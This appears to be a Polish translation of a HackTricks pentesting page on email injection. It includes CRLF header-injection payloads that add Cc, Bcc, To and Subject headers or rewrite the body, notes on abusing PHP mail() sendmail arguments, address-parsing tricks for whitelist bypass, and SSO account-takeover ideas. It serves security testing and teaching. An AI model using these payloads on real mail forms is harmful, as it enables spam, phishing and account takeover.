9.9 KiB
Wstrzykiwanie e-maili
Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na githubie.
Wstrzykiwanie w wysłany e-mail
Wstrzykiwanie Cc i Bcc po argumencie nadawcy
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
Wiadomość zostanie wysłana do kont odbiorcy i odbiorcy1.
Wstrzyknięcie argumentu
From:sender@domain.com%0ATo:attacker@domain.com
Wiadomość zostanie wysłana do pierwotnego odbiorcy oraz konta atakującego.
Wstrzyknięcie argumentu tematu
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
Zmiana treści wiadomości
Wstrzyknij dwie linie odstępu, a następnie napisz swoją wiadomość, aby zmienić treść wiadomości.
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
Wykorzystanie funkcji PHP mail()
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
5. parametr ($additional_parameters)
Ta sekcja będzie oparta na sposobie nadużycia tego parametru zakładając, że atakujący go kontroluje.
Ten parametr zostanie dodany do wiersza poleceń, który PHP będzie używał do wywołania binarnego sendmail. Jednakże, zostanie zabezpieczony funkcją escapeshellcmd($additional_parameters)
.
Atakujący może wstrzyknąć dodatkowe parametry dla sendmail w tym przypadku.
Różnice w implementacji /usr/sbin/sendmail
Interfejs sendmail jest dostarczany przez oprogramowanie MTA (Sendmail, Postfix, Exim itp.) zainstalowane w systemie. Chociaż podstawowa funkcjonalność (takie jak parametry -t -i -f) pozostaje taka sama ze względów kompatybilności, inne funkcje i parametry znacznie się różnią w zależności od zainstalowanego MTA.
Oto kilka przykładów różnych stron podręcznika polecenia sendmail/interface:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
W zależności od pochodzenia binarnego sendmail odkryto różne opcje nadużycia ich i wyciekania plików lub nawet wykonywania dowolnych poleceń. Sprawdź jak to zrobić na https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
Wstrzykiwanie w nazwę e-mail
Pominięte części e-maila
Symbole: +, - i {} w rzadkich przypadkach mogą być używane do oznaczania i są ignorowane przez większość serwerów e-mail
Komentarze między nawiasami () na początku lub na końcu również będą ignorowane
- Np. john.doe(intigriti)@example.com → john.doe@example.com
Ominięcie białej listy
Cytaty
Adresy IP
Możesz również używać adresów IP jako nazwę domeny między nawiasami kwadratowymi:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
Inne podatności
SSO zewnętrzny
XSS
Niektóre usługi takie jak github lub salesforce pozwalają na utworzenie adresu e-mail z ładunkami XSS. Jeśli możesz użyć tych dostawców do logowania się w innych usługach i te usługi nie oczyszczają poprawnie adresu e-mail, możesz spowodować XSS.
Przejęcie konta
Jeśli usługa SSO pozwala na utworzenie konta bez weryfikacji podanego adresu e-mail (jak salesforce) a następnie możesz użyć tego konta do zalogowania się w innej usłudze, która ufa salesforce, możesz uzyskać dostęp do dowolnego konta.
Zauważ, że salesforce wskazuje, czy podany adres e-mail został zweryfikowany czy nie, więc aplikacja powinna uwzględnić tę informację.
Reply-To
Możesz wysłać e-mail używając Od: firma.com i Odpowiedz do: atakujący.com i jeśli zostanie wysłana automatyczna odpowiedź z powodu wysłania e-maila z wewnętrznego adresu, atakujący może być w stanie otrzymać tę odpowiedź.
Wskaźnik odrzuceń
Pewne usługi, takie jak AWS, implementują próg znany jako Wskaźnik Odrzutów, zazwyczaj ustawiony na poziomie 10%. Jest to istotna metryka, zwłaszcza dla usług dostarczania e-maili. Przekroczenie tego wskaźnika może spowodować zawieszenie lub zablokowanie usługi, takiej jak usługa e-mailowa AWS.
Twardy odrzut odnosi się do e-maila, który został zwrócony do nadawcy, ponieważ adresat jest nieprawidłowy lub nieistniejący. Może to wystąpić z różnych powodów, takich jak wysłanie e-maila na nieistniejący adres, domenę, która nie istnieje, lub odmowę serwera odbiorcy przyjęcia e-maili.
W kontekście AWS, jeśli wysyłasz 1000 e-maili i 100 z nich kończy się twardymi odrzutami (z powodu np. nieprawidłowych adresów lub domen), oznacza to wskaźnik twardych odrzutów na poziomie 10%. Osiągnięcie lub przekroczenie tego wskaźnika może spowodować zablokowanie lub zawieszenie możliwości wysyłania e-maili przez AWS SES (Simple Email Service).
Konieczne jest utrzymanie niskiego wskaźnika twardych odrzutów, aby zapewnić nieprzerwane świadczenie usług e-mail i utrzymanie reputacji nadawcy. Monitorowanie i zarządzanie jakością adresów e-mail na listach mailingowych może znacząco pomóc w osiągnięciu tego celu.
Aby uzyskać bardziej szczegółowe informacje, można odwołać się do oficjalnej dokumentacji AWS dotyczącej obsługi odrzutów i skarg AWS SES Bounce Handling.
Referencje
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF Sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 Grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakowania, przesyłając PR do HackTricks i HackTricks Cloud github repos.
Użyj Trickest do łatwego tworzenia i automatyzacji workflowów zasilanych przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Zdobądź dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}